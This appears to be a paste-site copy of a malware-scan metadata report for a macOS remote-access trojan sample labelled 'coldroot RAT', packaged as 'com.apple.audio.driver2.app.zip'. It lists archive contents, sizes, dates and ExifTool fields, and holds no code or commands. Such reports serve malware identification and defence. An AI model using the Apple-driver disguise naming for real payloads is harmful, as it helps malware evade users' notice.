  660. coldroot RAT osx
  661. com.apple.audio.driver2.app.zip
  662.  
  663. Bundle Info
  664. Warnings
  665.  
  666. Contains one or more Mac OS X executables.
  667.  
  668. Seems to be a Mac application placed in a compressed file.
  669.  
  670. Contents Metadata
  671. Contained Files
  672. 9
  673. Uncompressed Size
  674. 1433590
  675. Earliest Member Modification
  676. 2018-01-02 06:58:52
  677. Latest Member Modification
  678. 2018-01-02 06:58:52
  679. Contained Files By Type
  680. directory
  681. 4
  682. unknown
  683. 2
  684. XML
  685. 1
  686. Mac OS X Executable
  687. 1
  688. JSON
  689. 1
  690. Contained Files By Extension
  691. wol
  692. 1
  693. ExifTool File Metadata
  694. FileType
  695. ZIP
  696. FileTypeExtension
  697. zip
  698. MIMEType
  699. application/zip
  700. ZipBitFlag
  701. 0
  702. ZipCRC
  703. 0x00000000
  704. ZipCompressedSize
  705. 0
  706. ZipCompression
  707. None
  708. ZipFileName
  709. com.apple.audio.driver2.app/
  710. ZipModifyDate
  711. 2018:01:02 06:58:26
  712. ZipRequiredVersion
  713. 10
  714. ZipUncompressedSize
  715. 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement